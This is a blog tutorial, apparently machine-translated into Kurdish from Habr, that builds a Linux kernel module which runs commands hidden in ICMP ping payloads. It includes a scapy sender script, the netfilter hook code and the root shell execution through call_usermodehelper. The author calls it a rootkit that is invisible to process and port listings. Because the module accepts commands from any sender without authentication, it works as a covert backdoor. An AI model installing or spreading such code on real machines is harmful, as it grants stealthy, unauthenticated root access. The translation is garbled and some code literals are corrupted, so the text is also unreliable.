Topa nukleerî li ser ICMP

Topa nukleerî li ser ICMP

TL; DR: Ez modulek kernelê dinivîsim ku dê fermanên ji bargiraniya ICMP bixwîne û wan li ser serverê bimeşîne heya ku SSH-ya we têk biçe. Ji bo yên herî bêsebir, hemî kod e github.

Baweriyê Bernameçêkerên C-ya bi ezmûn xeternak e ku hêsirên xwînê biteqe! Dibe ku ez di warê termînolojiyê de jî xelet bim, lê her rexne bi xêr tê. Mesaj ji bo kesên ku xwedî ramanek pir hişk a bernameya C-yê ne û dixwazin li hundurê Linux-ê binihêrin tê armanc kirin.

Di şîroveyên min ên yekem de gotara behsa SoftEther VPN kir, ku dikare hin protokolên "birêkûpêk", bi taybetî HTTPS, ICMP û tewra DNS bişopîne. Ez dikarim bifikirim ku tenê ya yekem ji wan dixebite, ji ber ku ez bi HTTP (S) re pir nas im, û neçar bûm ku ez fêrî tunelkirina li ser ICMP û DNS bibim.

Topa nukleerî li ser ICMP

Erê, ez di sala 2020-an de fêr bûm ku hûn dikarin bargiraniyek kêfî têxin nav pakêtên ICMP. Lê dereng ji qet çêtir e! Û ji ber ku tiştek di derbarê wê de dikare were kirin, wê hingê pêdivî ye ku were kirin. Ji ber ku di jiyana xweya rojane de ez pir caran rêzika fermanê bikar tînim, di nav de bi SSH re, yekem ramana şêlekek ICMP hate hişê min. Û ji bo ku ez bingoyek bêkêmasî ya bêkêmasî bicivînim, min biryar da ku wê wekî modulek Linux bi zimanek ku tenê ramanek min jê re heye binivîsim. Kevirek wusa dê di navnîşa pêvajoyan de neyê xuyang kirin, hûn dikarin wê di kernelê de bar bikin û ew ê ne li ser pergala pelan be, hûn ê di navnîşa portên guhdarî de tiştek gumanbar nebînin. Di warê kapasîteyên xwe de, ev rootkitek bêkêmasî ye, lê ez hêvî dikim ku wê baştir bikim û wekî çareya dawîn bikar bînim dema ku Average Load pir zêde be ku meriv bi SSH-ê têkeve û bi kêmanî darve bike. echo i > /proc/sysrq-triggerji bo vegerandina gihîştina bêyî rebootkirinê.

Em edîtorek nivîsê, jêhatîbûna bernamesaziya bingehîn di Python û C, Google û virtual ya ku hûn nerazî nebin ku hûn têxin binê kêrê ger her tişt bişkê (vebijarkî - VirtualBox herêmî / KVM / hwd) û em biçin!

Aliyê xerîdar

Ji min re xuya bû ku ji bo beşa xerîdar divê ez bi qasî 80 rêzikan senaryoyek binivîsim, lê mirovên dilovan hebûn ku ew ji min re kirin. hemû kar. Kod ji nedîtî ve sade bû, di nav 10 rêzikên girîng de cih digire:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

Skrîpt du argûman digire, navnîşanek û bargiranek. Beriya şandinê, bargiraniya bi mifteyê tê pêş run:, em ê hewce bikin ku ew pakêtên bi bargiraniyên bêserûber ji holê rakin.

Kernel ji bo çêkirina pakêtan îmtiyazan hewce dike, ji ber vê yekê pêdivî ye ku skrîpt wekî superbikarhêner were xebitandin. Ji bîr nekin ku destûrên darvekirinê bidin û xwe scapy saz bikin. Debian pakêtek bi navê heye python3-scapy. Naha hûn dikarin kontrol bikin ka ew hemî çawa dixebite.

Ferman dimeşîne û derdixe
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

Tiştê ku di sniffer de xuya dike ev e
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1] [Response time: 19.094 ms] Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

^C2 packets captured

Di pakêta bersivê de bargiran nayê guhertin.

Modula Kernel

Ji bo avakirina makîneyek virtual ya Debian hûn ê bi kêmî ve hewce ne make и linux-headers-amd64, yên mayî dê di forma girêdayîbûnê de werin. Ez ê di gotarê de tevahî kodê peyda nekim, hûn dikarin wê li ser Github klon bikin.

Sazkirina Hook

Ji bo destpêkê, ji bo barkirina modulê û rakirina wê du fonksiyonên me hewce ne. Fonksiyona ji bo barkirinê ne hewce ye, lê paşê rmmod ew ê nexebite ku modul tenê dema ku were vemirandin were rakirin.

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

Li vir çi diqewime:

  1. Du pelên sernavê têne kişandin da ku modul bixwe û netfilterê manîpule bikin.
  2. Hemî operasyon di nav netfilterek re derbas dibin, hûn dikarin çengelan tê de bicîh bikin. Ji bo kirina vê yekê, hûn hewce ne ku strukturek ku tê de çengelê were mîheng kirin ragihînin. Ya herî girîng ev e ku meriv fonksiyona ku dê wekî hook were darve kirin diyar bike: nfho.hook = icmp_cmd_executor; Ez ê paşê xwe bigihînim fonksiyonê.
    Dûv re min dema pêvajoyê ji bo pakêtê destnîşan kir: NF_INET_PRE_ROUTING diyar dike ku dema pakêtê yekem car di kernel de xuya bibe pêvajo bike. Dikare were bikaranîn NF_INET_POST_ROUTING ji bo ku pakêtê gava ku ji kernelê derdikeve pêvajo bike.
    Min parzûn li IPv4 danî: nfho.pf = PF_INET;.
    Ez çîçeka xwe ya herî pêşîn didim: nfho.priority = NF_IP_PRI_FIRST;
    Û ez strukturên daneyê wekî qulika rastîn tomar dikim: nf_register_net_hook(&init_net, &nfho);
  3. Fonksiyona dawîn çengelê derdixe.
  4. Lîsans bi zelalî tête destnîşan kirin da ku berhevkar gilî neke.
  5. Karkerên module_init() и module_exit() fonksiyonên din saz bikin ku modulê dest pê bikin û biqedînin.

Vegerandina bargiraniyê

Naha pêdivî ye ku em bargiraniyê derxînin, ev derket holê ku karê herî dijwar e. Kernel ji bo xebata bi bargiranan re fonksiyonên çêkirî tune, hûn dikarin tenê sernavên protokolên asta bilindtir parsek bikin.

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == '')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = '';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == '')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

Çi diqewime:

  1. Min neçar ma ku pelên sernavê yên din jî têxim nav xwe, vê carê ku sernavên IP û ICMP manîpule bikim.
  2. Min dirêjahiya rêza herî zêde destnîşan kir: #define MAX_CMD_LEN 1976. Çima tam ev? Ji ber ku berhevkar ji vê yekê gilî dike! Wan jixwe ji min re pêşniyar kir ku ez pêdivî ye ku ez stêk û hep fam bikim, rojek ez ê bê guman wiya bikim û dibe ku kodê jî rast bikim. Min tavilê rêza ku dê fermanê bigire destnîşan kir: char cmd_string[MAX_CMD_LEN];. Divê ew di hemî fonksiyonan de xuya bibe, ez ê di paragrafa 9-ê de bêtir li ser vê biaxivim.
  3. Naha divê em dest pê bikin (struct work_struct my_work;) ava bike û wê bi fonksiyonek din ve girê bide (DECLARE_WORK(my_work, work_handler);). Ez ê di paragrafa nehan de jî behsa vê yekê bikim ku çima ev pêdivî ye.
  4. Naha ez fonksiyonek radigihînim, ku dê bibe hook. Cure û argumanên pejirandî ji hêla netfilter ve têne destnîşan kirin, em tenê jê re eleqedar in skb. Ev tamponek soketê ye, avahiyek daneya bingehîn e ku hemî agahdariya berdest li ser pakêtek dihewîne.
  5. Ji bo ku fonksiyonê bixebite, hûn ê hewceyê du avahî û çend guherbaran bin, di nav de du dubareker.
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. Em dikarin bi mantiqê dest pê bikin. Ji bo ku modul bixebite, ji bilî ICMP Echo ti pakêtên din ne hewce ne, ji ber vê yekê em bi karanîna fonksiyonên çêkirî tampon parsek dikin û hemî pakêtên ne-ICMP û ne-Echo derdixin. Vegerr NF_ACCEPT tê wateya pejirandina pakêtê, lê hûn dikarin bi vegerê jî pakêtan bavêjin NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    Min ceribandiye ku dê bêyî kontrolkirina sernavên IP-ê çi bibe. Zanîna min a hindiktirîn a C ji min re vedibêje ku bêyî kontrolên zêde, tiştek tirsnak çêdibe. Ez ê kêfxweş bibim ku hûn min ji vê yekê nerazî bikin!

  7. Naha ku pakêt ji celebê rast e ku hûn hewce ne, hûn dikarin daneyê derxînin. Bêyî fonksiyonek çêkirî, divê hûn pêşî nîşanek ji destpêka barkirinê re bigirin. Ev li yek cîhek tête kirin, hûn hewce ne ku nîgarê berbi destpêka sernavê ICMP-ê bigirin û wê li mezinahiya vê sernivîsê biguhezînin. Her tişt avahiyê bikar tîne icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    Divê dawiya sernavê bi dawiya bargiraniyê re li hev bike skb, ji ber vê yekê em wê bi karanîna navokî ji strukturên têkildar digirin: tail = skb_tail_pointer(skb);.

    Topa nukleerî li ser ICMP

    Wêne hat dizîn ji vir, hûn dikarin li ser tampona soketê bêtir bixwînin.

  8. Gava ku we nîgarên destpêk û dawiyê hebin, hûn dikarin daneyan di nav rêzek de kopî bikin cmd_string, ji bo hebûna pêşgirek wê kontrol bikin run: û, heke pakêtê wenda be, an pakêtê bavêjin, an jî rêzê ji nû ve binivîsin, vê pêşgiriyê jê bikin.
  9. Ew ew e, naha hûn dikarin gazî destekek din bikin: schedule_work(&my_work);. Ji ber ku ne gengaz e ku meriv pîvanek ji bangek wusa re derbas bike, divê rêza bi fermanê gerdûnî be. schedule_work() dê fonksiyona ku bi avahiyek derbasbûyî ve girêdayî ye bixe nav rêza giştî ya nexşerêya peywirê û biqedîne, bihêle ku hûn li benda qedandina fermanê nemînin. Ev pêdivî ye, ji ber ku hook divê pir zû be. Wekî din, bijartina we ev e ku tiştek dê dest pê neke an hûn ê panîkek kernelê bistînin. Derengbûn mîna mirinê ye!
  10. Ew ew e, hûn dikarin pakêtê bi vegerek têkildar qebûl bikin.

Gazîkirina bernameyekê di qada bikarhêner de

Ev fonksiyona herî têgihîştî ye. Navê wê hat dayîn DECLARE_WORK(), celeb û argumanên pejirandî ne balkêş in. Em rêzê bi fermanê digirin û bi tevahî derbasî şêlê dikin. Bila ew bi parskirinê, lêgerîna binar û her tiştê din re mijûl bibe.

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. Argumanan li ser rêzek rêzan saz bikin argv[]. Ez ê texmîn bikim ku her kes dizane ku bername bi rastî bi vî rengî têne darve kirin, û ne wekî rêzek domdar bi cîhan re.
  2. Guherbarên jîngehê saz bikin. Min tenê PATH bi komek rêgezên hindiktirîn vexist, hêvî dikim ku ew hemî berê hevûdu bûne /bin с /usr/bin и /sbin с /usr/sbin. Rêyên din di pratîkê de kêm kêm girîng in.
  3. Qebû, em bikin! Fonksiyona Kernel call_usermodehelper() têketinê qebûl dike. riya binaryê, rêza argumanan, rêza guhêrbarên jîngehê. Li vir ez di heman demê de texmîn dikim ku her kes wateya derbaskirina riya pelê darvekirinê wekî argumanek cûda fam dike, lê hûn dikarin bipirsin. Argumana paşîn diyar dike ka meriv li benda qedandina pêvajoyê bimîne an na (UMH_WAIT_PROC), destpêkirina pêvajoyê (UMH_WAIT_EXEC) an jî qet li bendê nemînin (UMH_NO_WAIT). Ma hinek din heye UMH_KILLABLE, min lê nenihêrî.

Meclîsa

Civîna modulên kernelê bi navgîniya çêkirina kernelê ve tête kirin. Gazî kirin make di hundurê pelrêçek taybetî de ku bi guhertoya kernel ve girêdayî ye (li vir hatî destnîşan kirin: KERNELDIR:=/lib/modules/$(shell uname -r)/build), û cîhê modulê ji guhêrbar re derbas dibe M di argumanan de. icmpshell.ko û armancên paqij vê çarçoveyê bi tevahî bikar tînin. LI obj-m pelê tiştê ku dê di modulekê de were veguheztin destnîşan dike. Hevoksaziya ku ji nû ve çêdike main.o в icmpshell.o (icmpshell-objs = main.o) ji min re pir mentiqî xuya nake, lê wusa be.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

Em berhev dikin: make. Barkirin: insmod icmpshell.ko. Kirin, hûn dikarin kontrol bikin: sudo ./send.py 45.11.26.232 "date > /tmp/test". Ger pelek we li ser makîneya we hebe /tmp/test û tê de dîroka ku daxwaz hatî şandin heye, ku tê vê wateyê ku we her tişt rast kir û min her tişt rast kir.

encamê

Ezmûna min a yekem bi pêşkeftina nukleerî ji ya ku min hêvî dikir pir hêsantir bû. Tewra bêyî ku ezmûna di C-yê de pêşde bibim, balê bikişînim ser îşaretên berhevkar û encamên Google, min karî modulek xebatê binivîsim û xwe mîna hackerek kernel, û di heman demê de zarokek nivîsarê hîs bikim. Wekî din, ez çûm kanala Kernel Newbies, ku ji min re hate gotin ku ez bikar bînim schedule_work() li şûna ku bang bike call_usermodehelper() di hundurê çengelê de bixwe û wî şerm kir, bi rast gumana scam. Di dema xweya vala de sed rêzikên kodê bi qasî hefteyek pêşveçûna min lêçû. Tecrûbeyek serketî ya ku efsaneya min a kesane ya di derbarê tevliheviya mezin a pêşkeftina pergalê de hilweşand.

Ger kesek razî be ku li ser Github vekolînek kodê bike, ez ê spasdar bim. Ez pir bawer im ku min gelek xeletiyên ehmeqî kirine, nemaze dema ku bi têlan re dixebitim.

Topa nukleerî li ser ICMP

Source: www.habr.com

Add a comment